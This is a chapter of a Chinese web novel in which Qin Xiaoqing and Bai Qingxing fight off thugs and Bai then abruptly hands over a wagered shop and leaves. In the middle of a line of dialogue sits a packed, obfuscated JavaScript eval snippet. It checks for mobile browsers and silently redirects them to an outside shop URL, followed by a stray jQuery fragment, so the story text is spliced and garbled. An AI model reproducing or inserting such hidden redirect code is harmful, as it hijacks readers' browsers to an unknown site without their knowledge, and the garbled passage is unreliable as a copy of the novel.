“好个牙尖嘴利的小娘皮!”
那打头的混混唾骂一声,上来就伸手去抓秦小晴。
白卿行一把打掉他的手:“干什么?!”
打头的混混瞪大眼睛,像是才看见白卿行:“哎呦嘿,原来这还有个人呢!”
几个混混唰啦一下围上来,居高临下地俯视他。
“我说白小郎君,这种事您就别出头了。您金尊玉贵的,我们一会儿闹起来,不小心伤着您这小胳膊小腿了,这事儿也说不过去呀。”
众人说着,又哄笑起来。仿佛白卿行是比秦小晴还要好对付的人。或者,也根本没把他当人。
可谁知这时,却听“啪”的一声,秦小晴竟甩起自己手中的鞭子,一把抽在那打头的混混脸上。
那人顿时嚎叫一声。
“要打就打,废什么话?!”
秦小晴说着,把鞭子又抽上去。
“啪!”
“啪!”
“啪!”
直抽得那打头之人抱着脑袋,哀嚎逃窜。
剩下的人还在傻眼中,秦小晴的鞭子也抽过来了,很快每个人脸上都开了花,哀嚎声此起彼伏,蔚为壮观。
但混混到底是混混,缓过神来,唾骂一声,便一起朝秦小晴扑过来。
但秦小晴不惧。
打架她不行,但是她有能行的人呀。
眼看众混混全都围上来,她还有心思保护白卿行:“你快走!”
白卿行拿眼瞪着她:“你说你一个小娘子让流氓围了,我一个大男人倒是要先跑?”
“你就是个累赘。你留在这儿反而碍事。”
话没说完,两个混混冲了上来,一左一右地摁住秦小晴的手。
秦小晴挣扎着,其中一人一巴掌朝她脸上打来。
“啪!”
把秦小晴打蒙了。
这不对啊!
她的护卫呢?
她都危险到这种程度了,护卫为什么还没来?!
系统坏了吗?!
可情形已经逼迫得她没有时间去想这些。
既然护卫没有来,只能靠自己想办法。
她当即朝左边那人脸上呸了一口,又朝右边那人脑袋上撞去。
两人都稍微松了手,秦小晴便趁这个档口,抬腿一脚踹上左边那人的□□。
男人立时嚎叫一声,松开手来。
秦小晴立时用解放的这只手去抠右边这人的眼睛,对方嗷了一声,也松开手。
秦小晴就趁着这个当口,“嗖”的一下跳到了牛车另一边,顺手抓起一把沙土,朝着冲自己奔来的那个打头人撒去。
打头的混混也没想到秦小晴伸手这么利索,一时傻眼。
而一旁的白卿行也已经看得目瞪口呆。
秦小晴抓着他:“看什么看?跑啊!”
两个人撒丫子就朝翠竹镇的方向跑去。
白卿行边跑边气喘吁吁地问:“车,车不要了吗?”
“这个时候了还管什么车?!”
但看他跑也跑不动的模样,秦小晴又是一阵鄙视:“早就让你走,你这个累赘!”
而因为这个累赘,两个人到底是很快就被那几个混混追上。
秦小晴在路边捡了根棍子,挡在白卿行面前。
“呦呦呦,小娘皮,还知道保护小白脸?看来大伙传得不错,你跟这小子果然有一腿!”
“我和他有八腿也不关你的事,废话少说,让他先走!”
打头的混混看着白卿行,嗤笑道:“我还是头一次听说女人护着男人先走的。废物就是废物,这辈子都是废物!”
众人都哄笑起来。
白卿行的脸色略微难看,看样子是要发作。
秦小晴却一把抓住他的胳膊:“别听他们胡说,你走就是了。”
见状,混混们哄笑和污言秽语更甚。
白卿行脸色终于变了,抢过秦小晴手里的棍子,嗷的一声就冲了上去。
秦小晴惊呼一声,也连忙上去帮忙,几个人顿时稀里哗啦地打成一团。
许是因为白卿行非常勇猛的缘故,最后,这一场战斗以两败俱伤收尾。
混混们没讨到好,也打不过白卿行,只好灰溜溜地离开。
秦小晴坐倒在地,看着白卿行脸上的伤痕,皱起眉头:“白卿行,你不是会武功吗?”
白卿行挑眉:“我什么时候说自己会武功了?”
说着去擦着鼻血。
秦小晴没了话说。
再看看他身上,简直惨不忍睹。
不光好看的脸皮上被打了好多拳,一只眼睛被打青了,身上也受了些伤,而且隐约竟然还有血迹。
秦小晴跳起来:“他们带刀了?”
白卿行拉住她:“不是,我自己不小心划伤的。”
那血迹滴滴答答地滴在地上的灰尘里,很快混成污泥。
秦小晴只觉得刺眼。
“走,回去找个大夫给你包扎一下。”
两人寻回牛车,慢慢往翠竹镇那边走。
夕阳的最后一丝余晖落下来,洒在两人身上。
白卿行脸上黑一块青一块,显得有些狰狞。
秦小晴想起刚才这人拼命护着自己的样子,一时不知说什么。
好半天,就在墨色即将彻底漫上来之前,秦小晴忽然开口,幽幽道:“喂,白卿行,我认输了……”
白卿行没有回头,好像没听到这句话似的。
“喂,我说我认输了,你听不见吗?就当是你保护我的感谢吧,我不想再跟你闹了。”
白卿行终于转过头来,斜眼睨她:“输了可就要被我压榨一辈子了,你可想清楚。”
秦小晴没了话。
虽然这人总是跟自己打打闹闹,但她知道这小子不是坏人,也不会真的坑死她。
干活就干活呗。
秦小晴有些不好意思,转过头去不看他。
两个人就这样沉默下来。
不知道过了多久,白卿行却忽然从牛车上跳了下去。
秦小晴一愣,连忙让牛车停住:“干嘛去?”
却见白卿行的脸色骤然冷了下来,与平日那嬉笑的模样判若两人。
秦小晴:“你……”
白卿行:“我玩够了。”
“什么?”
“我说我玩够了,不想再玩了。”
“那你就回家睡觉。”
“不是这个意思。秦晴娘,我认输了,铺子就给你了,我回王府去了。”
说罢,也再不理秦小晴,大踏步向前而去。
秦小晴愣在原地。
“哎,你这人怎么回事!我明明是我先认输的,你怎么还抢呢?”
赶着牛车追到他身边,伸手去拉他,谁知白卿行却一把甩开。
“秦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934948|211049||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
晴娘,你到底有没有些自知之明?”
他冷冷的神色一下子刺痛了秦小晴,不知道为何这人突然就变成了这个样子。
“白卿行,你……”
“我也是蠢,既是如此,早应该离你远一点的,你说得对,我们以后还是不要再说话了。愿赌服输,我铺子输给你。至于以后,以后什么都没有了。”
秦小晴脑袋嗡嗡的。
理智上她觉得自己应该高兴,她终于拿到铺子了。
可她内心实在高兴不起来。
满脑子回想的只有那句“以后什么都没有了”。
这人怎么可以顶着一张刚刚为自己受了伤的脸,说出这样冷冰冰伤人的话?
她抬头看着他,一时不知道该怎么回怼。
心中的慢慢泛起来一种奇怪的酸涩感,那酸味还咕嘟咕嘟地冒着泡泡,每冒一下,就让她的心颤动一分。
她咬咬牙,最后问了一句:“你……真是这样想的?”
白卿行冷哼了一声,不说话。
秦小晴咬牙。
“好、好……”
刚说了两个“好”字,路的那边忽然传来一阵车马辘辘之声。
不多时,一辆马车奔了过来,在她俩身边停下。
在秦小晴诧异的目光之下,世子白瑾瑜被下人扶了下来。
白瑾瑜面色焦急:“你们俩没事吧?!”
秦小晴眨眨眼:“世子怎么知道我们遇到坏人了?”
“我在镇口看到这几个人鼻青脸肿地跑来,又听人说你们朝青山村的方向去了,怕你们被他们刁难,急忙赶来。”
秦小晴看了一眼白卿行脸上的伤:“哦,那我们现在没事了,多谢世子。”
白瑾瑜关切地看着秦小晴:“真的没事了?”
秦小晴朝白卿行努努嘴:“伤都是他受的。这个蠢货,他非要……”
话没说完,却被白卿行打断:
“对,我是个蠢货。我要是不跟你牵扯到一起,怎么会受这样的罪?秦晴娘,你就是个扫把星,怪不得会被人从京城赶到这鸟不拉屎的地方。”
说罢他转头就走,连白瑾瑜也不理了。
白瑾瑜愣了一瞬,只好叹气着跟秦小晴道歉,赶着马车追了上去。
人都走光了,暮色暗下来。
秦小晴一个人站在镇口的夜色之中。
春夜的风吹得好凉。
……
第二天一早,秦小晴照旧去摆摊。
到了街上,却见白卿行的铺子大门紧闭。
不多时,那铺子掌柜找上了她,拿出了地契和房契。
“小娘子,这铺子从今以后便是您的了,您可别不要我呀。”
掌柜讨好地将她当作新东家,秦小晴却一时听不到他在说什么,等终于回过神来,才问道:“白小郎君呢?”
“听说他连夜就回王府去了。还听说世子斥责他呢,说他没长性,刚刚盖房置铺走上正途,稍微遇到点儿困难说不干就不干了……那白小郎君还说翠竹镇这地方晦气,以后再也不来了。”
秦小晴眸色晦暗:“是在说我晦气吧?”
掌柜连忙摆手:“不不不,怎么能说东家你晦气呢?说到底,是他白小郎君没本事,这么大个人,什么都做不好。”
说到白卿行的时候,语气十分轻蔑。
秦小晴睨了他一眼,接过房契地契,走去看铺子。